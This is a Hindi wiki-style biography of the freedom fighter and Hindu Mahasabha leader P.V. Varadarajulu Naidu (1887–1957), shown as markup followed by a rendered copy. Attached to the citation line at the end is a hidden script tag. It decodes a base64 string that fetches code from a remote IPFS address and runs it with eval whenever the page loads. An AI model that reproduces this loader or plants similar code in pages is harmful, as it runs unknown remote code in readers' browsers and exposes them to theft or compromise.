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'''वरदराजुलू नायडू''' (जन्म- [[4 जून]], [[1887]], [[सलेम ज़िला]], [[तमिलनाडु]];  मृत्यु- [[1957]]) पृथक तमिल देश की मांग करने वालों के विरोधी और स्वतंत्रता सेनानी थे।  
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'''वरदराजुलू नायडू''' (जन्म- [[4 जून]], [[1887]], [[सलेम ज़िला]], [[तमिलनाडु]];  मृत्यु- [[1957]]) पृथक तमिल देश की मांग करने वालों के विरोधी और स्वतंत्रता सेनानी थे। प्रारम्भ में वे [[कांग्रेस]] के सदस्य थे, बाद में '[[हिंदू महासभा]]' में सम्मिलित हो गये। [[1952]] में वे तमिलनाडु विधान सभा के सदस्य चुने गये थे।
 
==परिचय==
 
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पृथक तमिल देश की मांग का विरोध करने वाले पी.वी. वरदराजुलू नायडू  का जन्म [[4 जून]] [[1887]] को [[तमिलनाडु]] के [[सलेम ज़िला|सलेम ज़िला]] में हुआ। उन्होंने आजीविका के लिए बैद्यक सीखी। वे [[1905]] के बंग-भंग विरोधी और [[स्वदेशी आंदोलन]] में सम्मिलित हुए। उन्होंने श्रीनिवास आयंगर के साथ हरिजन उद्धार के कामों में भाग लिया। वे [[सत्याग्रह आंदोलन]] में कई बार जेल जा चुके थे। जब रामास्वामी नायकर ने पृथक तमिलनाडु की मांग की तो वरदराजुलू नायडू ने उसका जोरदार विरोध किया था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=|संपादन=|पृष्ठ संख्या=774|url=}}</ref>
 
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पी.वी. वरदराजुलू नायडू ने श्रमिकों के हित के लिए [[श्रमिक आंदोलन]] में भाग लेकर अपना योगदान दिया। वे [[कांग्रेस]] के सदस्य रहे। उन्होंने अनुभव किया कि कांग्रेस [[मुसलमान|मुसलमानों]] को प्रसन्न रखने की नीति पर चल रही है। इस बात पर वे [[हिंदू महासभा]] में सम्मिलित हो गए और [[तमिलनाडु]] में इसके [[अध्यक्ष]] बने। स्वतंत्रता के बाद [[1952]] में तमिलनाडु विधानसभा के सदस्य चुने गए थे। उन्होंने भारतीय चिकित्सा पद्धति के प्रचार-प्रसार के लिए अनेक प्रयत्न किए।  
 
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10:46, 27 जून 2018 के समय का अवतरण

वरदराजुलू नायडू (जन्म- 4 जून, 1887, सलेम ज़िला, तमिलनाडु; मृत्यु- 1957) पृथक तमिल देश की मांग करने वालों के विरोधी और स्वतंत्रता सेनानी थे। प्रारम्भ में वे कांग्रेस के सदस्य थे, बाद में 'हिंदू महासभा' में सम्मिलित हो गये। 1952 में वे तमिलनाडु विधान सभा के सदस्य चुने गये थे।

परिचय

पृथक तमिल देश की मांग का विरोध करने वाले पी.वी. वरदराजुलू नायडू का जन्म 4 जून 1887 को तमिलनाडु के सलेम ज़िला में हुआ। उन्होंने आजीविका के लिए बैद्यक सीखी। वे 1905 के बंग-भंग विरोधी और स्वदेशी आंदोलन में सम्मिलित हुए। उन्होंने श्रीनिवास आयंगर के साथ हरिजन उद्धार के कामों में भाग लिया। वे सत्याग्रह आंदोलन में कई बार जेल जा चुके थे। जब रामास्वामी नायकर ने पृथक तमिलनाडु की मांग की तो वरदराजुलू नायडू ने उसका जोरदार विरोध किया था।[1]

योगदान

पी.वी. वरदराजुलू नायडू ने श्रमिकों के हित के लिए श्रमिक आंदोलन में भाग लेकर अपना योगदान दिया। वे कांग्रेस के सदस्य रहे। उन्होंने अनुभव किया कि कांग्रेस मुसलमानों को प्रसन्न रखने की नीति पर चल रही है। इस बात पर वे हिंदू महासभा में सम्मिलित हो गए और तमिलनाडु में इसके अध्यक्ष बने। स्वतंत्रता के बाद 1952 में तमिलनाडु विधानसभा के सदस्य चुने गए थे। उन्होंने भारतीय चिकित्सा पद्धति के प्रचार-प्रसार के लिए अनेक प्रयत्न किए।

मृत्यु

पी.वी. वरदराजुलू नायडू का 1957 में देहांत हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 774 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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